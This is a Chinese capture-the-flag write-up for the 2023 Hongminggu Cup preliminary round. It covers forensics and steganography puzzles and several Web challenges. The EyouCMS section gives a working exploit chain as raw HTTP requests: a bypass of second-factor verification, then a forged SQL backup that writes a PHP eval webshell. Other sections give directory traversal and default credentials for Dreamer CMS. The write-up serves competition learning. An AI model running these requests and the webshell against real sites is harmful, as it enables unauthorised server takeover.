Misc

hacker

看看流量,发现就是写了个简单的加密逻辑,只要读懂了之后解dns数据就可以了

出题人不知道是故意的还是怎么的这个加密逻辑会导致没62位丢失一位,这直接先补个1然后再爆破就可以了

password为admin密码,在tcp.stream eq 2里可以找到

加密逻辑也在tcp.stream eq 2里可以找到

转换脚本:

password = '3861336536383463393233623736336432353263663165383733346137613239'
cipher = '79227024716c7522787370254c777230667673222570247b766773226326711d7b357226771575227a7372237677702573611f372570317b767277207620611479207024777b60247e6674231a626727666171372570317f766773207620167879226731756c60206d75703670754e'
res = ''
for i in range(len(cipher)):
    res += hex(int(cipher[i], 16) ^ int(password[i % len(password)], 16))[2:]

print(bytes.fromhex(res).decode())

#ACCAGTAAAACG{AATTCAACAACATGCTGC$CTACA-AACAAAAACAAT-TCATCAACAAAS-AACAACTGGTGA-TTCTTCTCATGATGAAA$AACTTCTTCTGCTGC}

这里的两个$和一个S的就是丢失的字节

观察后发现大概是某种进制,并且是ACGT的顺序

解密脚本:

table = 'ACGT'
dic = {'AAA': 'a', 'AAC': 'b', 'AAG': 'c',
       'AAT': 'd', 'ACA': 'e', 'ACC': 'f', 'ACG': 'g', 'ACT': 'h', 'AGA': 'i', 'AGC': 'j', 'AGG': 'k', 'AGT': 'l', 'ATA': 'm', 'ATC': 'n', 'ATG': 'o', 'ATT': 'p', 'CAA': 'q', 'CAC': 'r', 'CAG': 's', 'CAT': 't', 'CCA': 'u', 'CCC': 'v', 'CCG': 'w', 'CCT': 'x', 'CGA': 'y', 'CGC': 'z', 'CGG': 'A', 'CGT': 'B', 'CTA': 'C', 'CTC': 'D', 'CTG': 'E', 'CTT': 'F', 'GAA': 'G', 'GAC': 'H', 'GAG': 'I', 'GAT': 'J', 'GCA': 'K', 'GCC': 'L', 'GCG': 'M', 'GCT': 'N', 'GGA': 'O', 'GGC': 'P', 'GGG': 'Q', 'GGT': 'R', 'GTA': 'S', 'GTC': 'T', 'GTG': 'U', 'GTT': 'V', 'TAA': 'W', 'TAC': 'X', 'TAG': 'Y', 'TAT': 'Z', 'TCA': '1', 'TCC': '2', 'TCG': '3', 'TCT': '4', 'TGA': '5', 'TGC': '6', 'TGG': '7', 'TGT': '8', 'TTA': '9', 'TTC': '0', 'TTG': ' '}
cipher = 'TCATCAACAAAT'
plain = ''
for i in range(0, len(cipher), 3):
    plain += dic[cipher[i:i+3]]
print(plain)

最后对位置的两个位进行爆破即可

阿尼亚

图片尾的冗余数据解hex之后可以察觉是有种编码的感觉,于是用cyberchef爆破一下可以得到密码

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

然后根据文件名提示去使用在线工具得到压缩包密码

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

然后解开压缩包,里面是Decabit编码,解一下就可以了

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

X光的秘密

简单了解后写脚本提取下图片,然后发现17 18 19三张图是几乎一模一样的,根据位深度为8,脑洞一下可能是图片合成,所以把最后三张图分别作为rgb填充进一张新图,再lsb就可以发现flag图片

exp:

import SimpleITK as sitk
from PIL import Image
import pydicom
import numpy as np
import cv2

def loadFile(filename):
    ds = sitk.ReadImage(filename)
    img_array = sitk.GetArrayFromImage(ds)
    frame_num, width, height = img_array.shape
    return img_array, frame_num, width, height

def showImage(img_array, frame_num):
    img_bitmap = Image.fromarray(img_array[frame_num])
    return img_bitmap

filename = 'task.dcm'
file = loadFile(filename)
for i in range(20):
    img = showImage(file[0], i)
    img.save('./file/'+str(i)+'.png')

img1 = Image.open("./file/17.png")
img2 = Image.open("./file/18.png")
img3 = Image.open("./file/19.png")

img = Image.new('RGB', (512, 512))
for i in range(512):
    for j in range(512):
        p1 = img1.getpixel((j, i))
        p2 = img2.getpixel((j, i))
        p3 = img3.getpixel((j, i))
        img.putpixel((j, i), (p1, p2, p3))
img.save("./file/flag.png")
2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

提取出来就是flag图片

Web

点击签到

http://eci-2ze1elkmd44j2kaljzts.cloudeci1.ichunqiu.com/0x1337.js

把 js 改一改

var _0x4a12 = `<省略>`;
function _0x3aef(_0x123456) {
    var _0xabcdef = '';
    for (var _0x10 = 0x0; _0x10 < _0x123456.length; _0x10++) {
        _0xabcdef += String.fromCharCode(_0x123456.charCodeAt(_0x10) ^ 0x2a);
    }
    return _0xabcdef;
}

function decrypt() {
    var encodedSecret = _0x4a12;
    return _0x3aef(encodedSecret);
}
2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Dreamer

gitee 地址 https://gitee.com/isoftforce/dreamer_cms

管理员默认账号密码。wangjn/123456

参考 https://gitee.com/isoftforce/dreamer_cms/issues/I6NP86

修改 themePath, 上传压缩包, 然后目录穿越

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

flag 在根目录下

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Dreamer_revenge

后台登录以及目录穿越的过程同上

flag 不在根目录下面, 读 /proc/self/environ 也没有结果

看下数据库配置文件, 有 mysql 和 redis

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

/var/lib 下面发现了对应的目录

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

/var/lib/redis/, 一开始没有 dump.rdb, 在后台随便点点然后等几分钟就有了

估计是 redis 自动缓存的问题

查看 /etc/redis/redis.conf发现配置了默认备份的策略

save 900 1
save 300 10
save 60 10000
2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

因为可以任意文件读取, flag 就在 rdb 里面, 不过每次出现的位置都不太一样

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Eyou

https://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com/login.php

后台账号密码 admin/admin123

版本为 1.6.1, 官网源码: https://update.eyoucms.com/source/EyouCMS-V1.6.1-UTF8-SP1_0329.zip

后台可以改上传的文件后缀, 但是源码限制死了, 只要包含 php 或者不在一个预置的 array 里面就会被 unset

常规的文件上传点和 ueditor 都使用了这个配置, 绕不过去

\app\admin\controller\System::basic

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

后台存在模版管理的功能, 进去之后会提示二次安全验证, 可以改前端 js 阻止弹窗, 但是只要一编辑 / 新建文件又会提示 "请勿非法越过二次安全验证", 并且只能够新建 htm/css/js/txt

存在数据库备份还原的功能

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

发现文件并没有限制后缀是 .sql, 只要文件名包含 .sql 就行, 但是会有一些命名格式的限制 (sscanf 函数)

安全中心可以改数据备份路径, 所以考虑把路径换到一个可控的文件夹里面, 然后上传文件之后再去还原数据, 进而执行任意 sql 语句

因为命名格式的限制, 可控文件名的地方就只有模版管理, 但模版管理需要二次验证

Security.php 里面的 second_verify_edit 方法验证了原答案, 但是 second_verify_add 没有验证

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

构造数据包

POST /login.php?m=admin&c=Security&a=second_verify_add&_ajax=1&lang=cn HTTP/1.1
Host: eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com/login.php?s=Admin/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; home_lang=cn; admin_lang=cn; PHPSESSID=5fd42b46c3c6c0375b160cab41cd7f06;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

&ask=1&answer=1234
2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

先随便备份一次数据表拿到文件名, 然后抓还原的包拿到 time 的值

到模版管理界面新建文件

-- ----------------------------------------
-- EyouCms MySQL Data Transfer 
-- 
-- Server         : 127.0.0.1_3306
-- Server Version : 10.3.38-MariaDB-0+deb10u1
-- Host           : 127.0.0.1:3306
-- Database       : eyoucms
-- 
-- Part : #1
-- Version : #v1.6.1
-- Date : 2023-04-19 11:37:28
-- -----------------------------------------

SET FOREIGN_KEY_CHECKS = 0;

-- -----------------------------
-- Table structure for `ey_ad`
-- -----------------------------
create table ey_test(id int, content text);
insert into ey_test values(1, user());
insert into ey_test values(2,version());
select '<?php phpinfo();eval($_REQUEST[1]);?>' into outfile '/var/www/html/shell.php';

再去安全中心更改数据库备份路径为 /template, 最后发送恢复备份的数据包

POST /login.php?m=admin&c=Tools&a=new_import&time=1681875679&lang=cn HTTP/1.1
Host: eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com/login.php?m=admin&c=Tools&a=restore&lang=cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; home_lang=cn; admin_lang=cn; PHPSESSID=5fd42b46c3c6c0375b160cab41cd7f06;
Connection: close
2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室
2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

flag 在根目录下

2023 红明谷杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室